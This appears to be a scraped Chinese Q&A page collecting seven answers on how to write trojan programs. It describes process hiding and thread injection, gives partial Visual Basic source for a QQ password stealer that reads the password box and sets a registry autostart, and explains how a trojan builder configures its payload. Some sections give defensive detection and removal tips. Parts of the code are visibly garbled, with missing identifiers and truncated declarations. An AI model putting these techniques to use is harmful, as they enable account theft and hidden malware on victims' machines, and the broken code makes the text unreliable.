1.怎么去写木马程序
首先得先了解三个相关的概念:进程,线程和服务。
进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法.
2.怎么编写木马程序
盗号木马~~~~ 楼主,这不是好玩的东西,不过看在高分悬赏的份上,就告诉你吧。
可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取。 使用 Timer 控件,监视QQ。
用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 ComboBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。 由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下: 首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。
程序编制 (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。 声明变量、过程及 API 函数,写在 Module1.bas 文件中 Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象 Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象 Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type Const PAGE_READWRITE = 1 Const ERROR_ALREADY_EXISTS = 183& 建立判断程序是否多启动的过程 Sub Main() Dim ynRun As Long Dim sa As SECURITY_ATTRIBUTES sa.bInheritHandle = 1 sa.lpSecurityDescriptor = 0 sa.nLength = Len(sa) ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件 If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出 CloseHandle ynRun '退出程序前关闭内存映射文件 End End If End Sub (2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法 声明变量、过程及 API 函数,写在 Module1.bas 文件中 Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。
如指定的项已经存在,那么函数会打开现有的项 Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值 Const HKEY_LOCAL_MACHINE = &H80000002 Const REG_SZ = 1 建立使程序自启动的过程 sub AutoRun() Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String Dim Ret As Integer, lphKey As Long sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看 sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序 Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项 Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值 End Sub (3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。 声明变量、过程及 API 函数,写在 Module1.bas 文件中 Declare Function Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Const RSP_SIMPLE_SERVICE = 1 '隐藏 建立实现程序自身在关闭程序对话框中的隐藏的过程 Sub HideMyWin() lngProcessID, RSP_SIMPLE_SERVICE End Sub (4)即时监视是否运行了 OICQ 加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。
Private Sub Timer1_Timer() EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序 End Sub 声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中 Option Explicit Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口 Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题 Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得 类名 Declare Function GetWindow Lib "user32" (ByVal hwnd As Long,。
3.如何在ps写一个木马程序
愿我的答案 能够解决您的烦忧这个是不可能办到的,只是一个作图文件而已1,如果你是想说怎么解决写入PS中的木马病毒,可以按我说的办法来查杀。
2,下载腾讯电脑管家“8.5”最新版,对电脑首先进行一个体检,打开所有防火墙避免系统其余文件被感染。3,打开杀毒页面开始查杀,切记要打开小红伞引擎。
4,如果普通查杀不能解决问题,您可以打开腾讯电脑管家---工具箱---顽固木马专杀- 进行深度扫描。5,查杀处理完所有病毒后,立刻重启电脑,再进行一次安全体检,清除多余系统缓存文件,避免二次感染。
如果您对我的答案不满意,可以继续追问或者提出宝贵意见,谢谢。
4.如何编写木马程序
常用的编写木马的语言有:c++/c vb delphi 是用这些语言编写木马不但要求程序员对windows底层、服务、注册表、消息机制、hook等非常熟悉,而且要求程序员对网络也有一定的认识,熟悉掌握winsock的使用,以及api的使用,如果想写更高级的木马还要对驱动编程有所了解。
另外就是编写出的木马要做免杀,要精通汇编。楼上说的黑客网站是不教如何编写木马的,只是教编程的基础和网络安全方面的。
至于木马运用,也非常简单,捆绑、挂马、邮件发送等方法都是传播木马的经久不衰的方法。
5.病毒木马怎么写它们的程序
特洛伊木马(以下简称木马),英文叫做“Trojan house”,其名称取自希腊神话的特洛伊木马记。
它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。
所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言
这里再补充一下,就算是病毒,也是一种程序!!=.= 所以不管是木马还是病毒,其它都属于程序的一种! 远程控制程序
6.谁知道怎么编写特洛伊木马程序
如何识别木马 识别木马有新招,希望这篇文章对你有所帮助。
一、经常看到有玩家说,在输入自己的帐号的时候通故意输错帐号和码。其实这种木马是最早期的木马程序。
现在已经很少有编木马程序的程序员,还按照这种监听键盘记录的思路去编写木马程序。现在的木马程序已经发展到通过内存提取数据来获得用户的帐号和密码。
大家都知道,不管是传奇还是任何一款程序。它都是有他所特有的数据的(包括玩家的帐号、密码,等级装备资料等等)。
这些数据都是会通过本机与游戏服务器取得了验证以后,玩家的角色资料才会出现在玩家的面前。而这些数据在运行的时候都是存放在计算机的内存里面的。
木马作者只需要在自己的程序里面加入条件语句就可以取得玩家真实的游戏帐号、密码、角色等级~~~~~,以我自己的计算机知识,这种语句的大概意思应该是:当游戏进程进入到让玩家选择角色的时候再从内存中提取最后一次的帐号、密码、角色等级等资料。也就是说,其实玩家之前所做的故意输错帐号或密码完全是浪费自己的表情、浪费自己的时间。
下边先来说一下木马是如何通过网页进入你的电脑的,相信大家都知道,现在有很多图片木马,EML和EXE木马,其中的图片木马其实很简单,就是把木马exe文件的文件头换成bmp文件的文件头,然后欺骗IE浏览器自动打开该文件,然后利用网页里的一段JAVASCRIPT小程序调用DEBUG把临时文件里的bmp文件还原成木马exe文件并拷贝到启动项里,接下来的事情很简单,你下次启动电脑的时候就是你噩梦的开始了,EML木马更是传播方便,把木马文件伪装成audio/x-wav声音文件,这样你接收到这封邮件的时候只要浏览一下,不需要你点任何连接,windows就会为你代劳自动播放这个他认为是wav的音乐文件,木马就这样轻松的进入你的电脑,这种木马还可以frame到网页里,只要打开网页,木马就会自动运行,另外还有一种方法,就是把木马exe编译到.JS文件里,然后在网页里调用,同样也可以无声无息的入侵你的电脑,这只是些简单的办法,还有远程控制和共享等等漏洞可以钻,知道这些,相信你已经对网页木马已经有了大概了解, 简单防治的方法: 开始-设置-控制面版-添加删除程序-windows安装程序-把附件里的windows scripting host去掉,然后打开Internet Explorer浏览器,点工具-Internet选项-安全-自定义级别,把里面的脚本的3个选项全部禁用,然后把“在中加载程序和文件”禁用,当然这只是简单的防治方法,不过可能影响一些网页的动态java效果,不过为了安全就牺牲一点啦,这样还可以预防一些恶意的网页炸弹和病毒,如果条件允许的话可以加装防火墙,再到微软的网站打些补丁,反正我所知道的网吧用的都是原始安装的windows,很不安全哦,还有尽量少在一些小网站下载一些程序,尤其是一些号称黑客工具的软件,小心盗不着别人自己先被盗了,当然,如果你执意要用的话,号被盗了也应该付出这个代价吧。还有,不要以为装了还原精灵就很安全,据我所知,一般网吧的还原精灵都只还原c:盘即系统区,所以只要木马直接感染你安装在别的盘里的游戏执行文件,你照样逃不掉的。
下边介绍一下木马和如何简单的检查一下是否中了木马。 木马程序一般分为服务器端程序和客户端程序两个部分,当服务器端程序安装在某台连接到网络的电脑后,就能使用客户端程序对其进行登陆。
这和PcAnywhere以及NetMeeting的远程控制功能相似。但不同的是,木马是非法取得对对方电脑的控制权,一旦登陆成功,就可以取得管理员级的权利,对方电脑上的资料、密码等是一览无余。
不过这种木马一般的“伪黑客”很少使用,因为一不小心就会引火上身,被对方反查过来就会偷鸡不成蚀把米了,一般他们都会采用只有服务器端的小木马,这类木马通常会把截取的密码发到一个免费邮箱里,不需要人为操作,有空去收趟邮件就可以了,这种木马遍布互连网的各个角落,的确防不胜防,由于木马程序众多,加之不断有新版本、新品种产生,使得软件无法完全应付,所以手动检查清除是十分必要的。 木马会想尽一切办法隐藏自己,别指望在任务管理器里看到他们的踪影,有些木马更是会和一些系统进程寄生在一起的,如著名的广外幽灵就是寄生在MsgSrv32.exe里;当然它也会悄无声息地启动,木马会在每次用户启动windows时自动装载服务端,Windows系统启动时自动加载应用程序的方法木马都会用上,如启动组、win.ini、system.ini、注册表等等都是木马藏身之地;下边简单说一下如何检查,点开始-运行,输入: msconfig回车 就会打开系统配置实用程序,先点system.ini,看看shell=文件名,正确的文件名应该是“explorer.exe”,如果explorer.exe后边还跟有别的程序的话,就要好好检查这个程序了,然后点win.ini,“run=”和“load=”是可能加载“木马”程序的途径,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了,当然你也得看清楚,因为如“AOL木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现。
7.怎样写木马配置程序
第一个问题,如何让一个程序A生成另一个程序B?
方法一,以二进制方式写文件(不推荐)
这种办法就是将要被程序B的二进制数据写入到程序A的代码中
按照文件读写的办法生成文件
这样做的缺点是将生成一个庞大的源文件
充斥着很大篇幅没有可读意义的二进制数据
编译和修改都很慢,因此不推荐
方法二,资源方式(推荐)
程序B作为程序A的一个资源而存在
程序A运行时读取自己的资源并释放到文件即可
这部分代码简单实用
Delphi示例
VC示例
第二个问题,如何配置产生的程序B?
我给出两个办法,都可行
方法一,全局变量
程序B中需要配置的参数采用全局变量描述
全局变量在生成的可执行文件中的偏移地址是固定的
找出这些地址常数
在程序A生成程序B的时候即时修改为希望的数据即可
如何找出地址常数?其实很简单
编译一个程序B 生成B1.exe
改变某全局变量的值 编译生成B2.exe
对比B1.EXE和B2.EXE 不同的地方便是全区变量的地址了
方法二,使用资源
配置部分作为程序B的资源而存在
程序B运行的时候先读取自身的资源获得配置信息
这样配置B既是配置B的资源
专门有一套API函数是针对更新程序资源的
诸如BeginUpdateResource, EndUpdateResource, UpdateResource等等
A生成B之后,紧接着按照配置信息更新B的配置资源即可